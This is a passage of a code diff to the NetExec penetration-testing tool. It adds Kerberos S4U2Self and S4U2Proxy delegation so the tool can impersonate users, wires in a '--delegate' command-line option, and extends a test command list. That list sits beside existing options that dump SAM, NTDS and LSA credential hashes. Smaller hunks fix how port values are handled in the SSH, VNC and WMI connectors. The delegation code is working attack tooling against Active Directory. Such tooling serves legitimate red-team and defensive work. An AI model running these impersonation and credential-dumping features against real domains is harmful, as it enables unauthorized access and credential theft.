# with the following three parameters: the session key of the TGT of
|
||||
# the service performing the S4U2Self request, the message type value
|
||||
# of 17, and the byte array s4u_byte_array.
|
||||
checksum = _HMACMD5.checksum(session_key, 17, s4u_byte_array)
|
||||
|
||||
pa_fo_user_enc = PA_FOR_USER_ENC()
|
||||
seq_set(pa_fo_user_enc, "userName", client_name.components_to_asn1)
|
||||
pa_fo_user_enc["userRealm"] = domain
|
||||
pa_fo_user_enc["cksum"] = noValue
|
||||
pa_fo_user_enc["cksum"]["cksumtype"] = int(constants.ChecksumTypes.hmac_md5.value)
|
||||
pa_fo_user_enc["cksum"]["checksum"] = checksum
|
||||
pa_fo_user_enc["auth-package"] = "Kerberos"
|
||||
|
||||
encoded_pa_for_user_enc = encoder.encode(pa_fo_user_enc)
|
||||
|
||||
tgs_req["padata"][1] = noValue
|
||||
tgs_req["padata"][1]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value)
|
||||
tgs_req["padata"][1]["padata-value"] = encoded_pa_for_user_enc
|
||||
|
||||
req_body = seq_set(tgs_req, "req-body")
|
||||
|
||||
opts = []
|
||||
opts.append(constants.KDCOptions.forwardable.value)
|
||||
opts.append(constants.KDCOptions.renewable.value)
|
||||
opts.append(constants.KDCOptions.canonicalize.value)
|
||||
|
||||
req_body["kdc-options"] = constants.encodeFlags(opts)
|
||||
|
||||
server_name = Principal(username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
|
||||
|
||||
seq_set(req_body, "sname", server_name.components_to_asn1)
|
||||
req_body["realm"] = str(decoded_tgt["crealm"])
|
||||
|
||||
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
|
||||
|
||||
req_body["till"] = KerberosTime.to_asn1(now)
|
||||
req_body["nonce"] = random.getrandbits(31)
|
||||
seq_set_iter(req_body, "etype", (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
|
||||
|
||||
nxc_logger.info("Requesting S4U2self")
|
||||
message = encoder.encode(tgs_req)
|
||||
|
||||
r = sendReceive(message, domain, kdcHost)
|
||||
|
||||
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
|
||||
|
||||
if no_s4u2proxy:
|
||||
cipher_text = tgs["enc-part"]["cipher"]
|
||||
|
||||
# Key Usage 8
|
||||
# TGS-REP encrypted part (includes application session
|
||||
# key), encrypted with the TGS session key (Section 5.4.2)
|
||||
plaintext = cipher.decrypt(session_key, 8, cipher_text)
|
||||
|
||||
enc_tgs_rep_part = decoder.decode(plaintext, asn1Spec=EncTGSRepPart())[0]
|
||||
|
||||
new_session_key = Key(enc_tgs_rep_part["key"]["keytype"], enc_tgs_rep_part["key"]["keyvalue"].asOctets())
|
||||
|
||||
# Creating new cipher based on received keytype
|
||||
cipher = _enctype_table[enc_tgs_rep_part["key"]["keytype"]]
|
||||
|
||||
tgs_formated = {}
|
||||
tgs_formated["KDC_REP"] = r
|
||||
tgs_formated["cipher"] = cipher
|
||||
tgs_formated["sessionKey"] = new_session_key
|
||||
return tgs_formated
|
||||
|
||||
################################################################################
|
||||
# Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy
|
||||
# So here I have a ST for me.. I now want a ST for another service
|
||||
# Extract the ticket from the TGT
|
||||
ticket_tgt = Ticket()
|
||||
ticket_tgt.from_asn1(decoded_tgt["ticket"])
|
||||
|
||||
# Get the service ticket
|
||||
ticket = Ticket()
|
||||
ticket.from_asn1(tgs["ticket"])
|
||||
|
||||
ap_req = AP_REQ()
|
||||
ap_req["pvno"] = 5
|
||||
ap_req["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
|
||||
|
||||
opts = []
|
||||
ap_req["ap-options"] = constants.encodeFlags(opts)
|
||||
seq_set(ap_req, "ticket", ticket_tgt.to_asn1)
|
||||
|
||||
authenticator = Authenticator()
|
||||
authenticator["authenticator-vno"] = 5
|
||||
authenticator["crealm"] = str(decoded_tgt["crealm"])
|
||||
|
||||
client_name = Principal()
|
||||
client_name.from_asn1(decoded_tgt, "crealm", "cname")
|
||||
|
||||
seq_set(authenticator, "cname", client_name.components_to_asn1)
|
||||
|
||||
now = datetime.datetime.utcnow()
|
||||
authenticator["cusec"] = now.microsecond
|
||||
authenticator["ctime"] = KerberosTime.to_asn1(now)
|
||||
|
||||
encoded_authenticator = encoder.encode(authenticator)
|
||||
|
||||
# Key Usage 7
|
||||
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
|
||||
# TGS authenticator subkey), encrypted with the TGS session
|
||||
# key (Section 5.5.1)
|
||||
encrypted_encoded_authenticator = cipher.encrypt(session_key, 7, encoded_authenticator, None)
|
||||
|
||||
ap_req["authenticator"] = noValue
|
||||
ap_req["authenticator"]["etype"] = cipher.enctype
|
||||
ap_req["authenticator"]["cipher"] = encrypted_encoded_authenticator
|
||||
|
||||
encoded_ap_req = encoder.encode(ap_req)
|
||||
|
||||
tgs_req = TGS_REQ()
|
||||
|
||||
tgs_req["pvno"] = 5
|
||||
tgs_req["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
|
||||
tgs_req["padata"] = noValue
|
||||
tgs_req["padata"][0] = noValue
|
||||
tgs_req["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
|
||||
tgs_req["padata"][0]["padata-value"] = encoded_ap_req
|
||||
|
||||
# Add resource-based constrained delegation support
|
||||
pa_pac_options = PA_PAC_OPTIONS()
|
||||
pa_pac_options["flags"] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,))
|
||||
|
||||
tgs_req["padata"][1] = noValue
|
||||
tgs_req["padata"][1]["padata-type"] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value
|
||||
tgs_req["padata"][1]["padata-value"] = encoder.encode(pa_pac_options)
|
||||
|
||||
req_body = seq_set(tgs_req, "req-body")
|
||||
|
||||
opts = []
|
||||
# This specified we"re doing S4U
|
||||
opts.append(constants.KDCOptions.cname_in_addl_tkt.value)
|
||||
opts.append(constants.KDCOptions.canonicalize.value)
|
||||
opts.append(constants.KDCOptions.forwardable.value)
|
||||
opts.append(constants.KDCOptions.renewable.value)
|
||||
|
||||
req_body["kdc-options"] = constants.encodeFlags(opts)
|
||||
service2 = Principal(spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
|
||||
seq_set(req_body, "sname", service2.components_to_asn1)
|
||||
req_body["realm"] = domain
|
||||
|
||||
my_ticket = ticket.to_asn1(TicketAsn1())
|
||||
seq_set_iter(req_body, "additional-tickets", (my_ticket,))
|
||||
|
||||
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
|
||||
|
||||
req_body["till"] = KerberosTime.to_asn1(now)
|
||||
req_body["nonce"] = random.getrandbits(31)
|
||||
seq_set_iter(req_body, "etype",
|
||||
(
|
||||
int(constants.EncryptionTypes.rc4_hmac.value),
|
||||
int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
|
||||
int(constants.EncryptionTypes.des_cbc_md5.value),
|
||||
int(cipher.enctype)
|
||||
)
|
||||
)
|
||||
message = encoder.encode(tgs_req)
|
||||
|
||||
nxc_logger.info("Requesting S4U2Proxy")
|
||||
r = sendReceive(message, domain, kdcHost)
|
||||
|
||||
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
|
||||
|
||||
cipher_text = tgs["enc-part"]["cipher"]
|
||||
|
||||
# Key Usage 8
|
||||
# TGS-REP encrypted part (includes application session
|
||||
# key), encrypted with the TGS session key (Section 5.4.2)
|
||||
plaintext = cipher.decrypt(session_key, 8, cipher_text)
|
||||
|
||||
enc_tgs_rep_part = decoder.decode(plaintext, asn1Spec=EncTGSRepPart())[0]
|
||||
|
||||
new_session_key = Key(enc_tgs_rep_part["key"]["keytype"], enc_tgs_rep_part["key"]["keyvalue"].asOctets())
|
||||
|
||||
# Creating new cipher based on received keytype
|
||||
cipher = _enctype_table[enc_tgs_rep_part["key"]["keytype"]]
|
||||
|
||||
tgs_formated = {}
|
||||
tgs_formated["KDC_REP"] = r
|
||||
tgs_formated["cipher"] = cipher
|
||||
tgs_formated["sessionKey"] = new_session_key
|
||||
return tgs_formated
|
|
@ -1,6 +1,11 @@
|
|||
from argparse import _StoreTrueAction
|
||||
|
||||
|
||||
def proto_args(parser, std_parser, module_parser):
|
||||
smb_parser = parser.add_parser("smb", help="own stuff using SMB", parents=[std_parser, module_parser])
|
||||
smb_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
|
||||
delegate_arg = smb_parser.add_argument("--delegate", action="store", help="Impersonate user with S4U2Self + S4U2Proxy")
|
||||
self_delegate_arg = smb_parser.add_argument("--self", dest="no_s4u2proxy", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only do S4U2Self, no S4U2Proxy (use with delegate)")
|
||||
dgroup = smb_parser.add_mutually_exclusive_group()
|
||||
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to")
|
||||
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
|
||||
|
@ -10,6 +15,7 @@ def proto_args(parser, std_parser, module_parser):
|
|||
smb_parser.add_argument("--gen-relay-list", metavar="OUTPUT_FILE", help="outputs all hosts that don't require SMB signing to the specified file")
|
||||
smb_parser.add_argument("--smb-timeout", help="SMB connection timeout, default 2 secondes", type=int, default=2)
|
||||
smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator")
|
||||
self_delegate_arg.make_required = [delegate_arg]
|
||||
|
||||
cgroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
|
||||
cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
|
||||
|
@ -73,3 +79,17 @@ def proto_args(parser, std_parser, module_parser):
|
|||
psgroup.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts")
|
||||
|
||||
return parser
|
||||
|
||||
def get_conditional_action(baseAction):
|
||||
class ConditionalAction(baseAction):
|
||||
def __init__(self, option_strings, dest, **kwargs):
|
||||
x = kwargs.pop("make_required", [])
|
||||
super().__init__(option_strings, dest, **kwargs)
|
||||
self.make_required = x
|
||||
|
||||
def __call__(self, parser, namespace, values, option_string=None):
|
||||
for x in self.make_required:
|
||||
x.required = True
|
||||
super().__call__(parser, namespace, values, option_string)
|
||||
|
||||
return ConditionalAction
|
|
@ -46,7 +46,7 @@ class ssh(connection):
|
|||
extra={
|
||||
"protocol": "SSH",
|
||||
"host": self.host,
|
||||
"port": self.args.port,
|
||||
"port": self.port,
|
||||
"hostname": self.hostname,
|
||||
}
|
||||
)
|
||||
|
@ -59,13 +59,13 @@ class ssh(connection):
|
|||
if self.conn._transport.remote_version:
|
||||
self.remote_version = self.conn._transport.remote_version
|
||||
self.logger.debug(f"Remote version: {self.remote_version}")
|
||||
self.db.add_host(self.host, self.args.port, self.remote_version)
|
||||
self.db.add_host(self.host, self.port, self.remote_version)
|
||||
|
||||
def create_conn_obj(self):
|
||||
self.conn = paramiko.SSHClient()
|
||||
self.conn.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||
try:
|
||||
self.conn.connect(self.host, port=self.args.port, timeout=self.args.ssh_timeout, look_for_keys=False)
|
||||
self.conn.connect(self.host, port=self.port, timeout=self.args.ssh_timeout, look_for_keys=False)
|
||||
except AuthenticationException:
|
||||
return True
|
||||
except SSHException:
|
||||
|
|
|
@ -40,7 +40,7 @@ class vnc(connection):
|
|||
extra={
|
||||
"protocol": "VNC",
|
||||
"host": self.host,
|
||||
"port": self.args.port,
|
||||
"port": self.port,
|
||||
"hostname": self.hostname,
|
||||
}
|
||||
)
|
||||
|
@ -50,7 +50,7 @@ class vnc(connection):
|
|||
|
||||
def create_conn_obj(self):
|
||||
try:
|
||||
self.target = RDPTarget(ip=self.host, port=self.args.port)
|
||||
self.target = RDPTarget(ip=self.host, port=self.port)
|
||||
credential = UniCredential(protocol=asyauthProtocol.PLAIN, stype=asyauthSecret.NONE)
|
||||
self.conn = VNCConnection(target=self.target, credentials=credential, iosettings=self.iosettings)
|
||||
asyncio.run(self.connect_vnc(True))
|
||||
|
|
|
@ -58,7 +58,7 @@ class wmi(connection):
|
|||
extra={
|
||||
"protocol": "WMI",
|
||||
"host": self.host,
|
||||
"port": self.args.port,
|
||||
"port": self.port,
|
||||
"hostname": self.hostname
|
||||
}
|
||||
)
|
||||
|
@ -67,7 +67,7 @@ class wmi(connection):
|
|||
if self.remoteName == "":
|
||||
self.remoteName = self.host
|
||||
try:
|
||||
rpctansport = transport.DCERPCTransportFactory(fr"ncacn_ip_tcp:{self.remoteName}[{self.args.port!s}]")
|
||||
rpctansport = transport.DCERPCTransportFactory(fr"ncacn_ip_tcp:{self.remoteName}[{self.port!s}]")
|
||||
rpctansport.set_credentials(username="", password="", domain="", lmhash="", nthash="", aesKey="")
|
||||
rpctansport.setRemoteHost(self.host)
|
||||
rpctansport.set_connect_timeout(self.args.rpc_timeout)
|
||||
|
|
|
@ -13,6 +13,8 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --rid-brute
|
|||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --local-groups
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --gen-relay-list /tmp/relaylistOutputFilename.txt
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --local-auth
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --delegate LOGIN_USERNAME
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --delegate LOGIN_USERNAME --self
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa
|
||||
|
|
Loading…
Reference in New Issue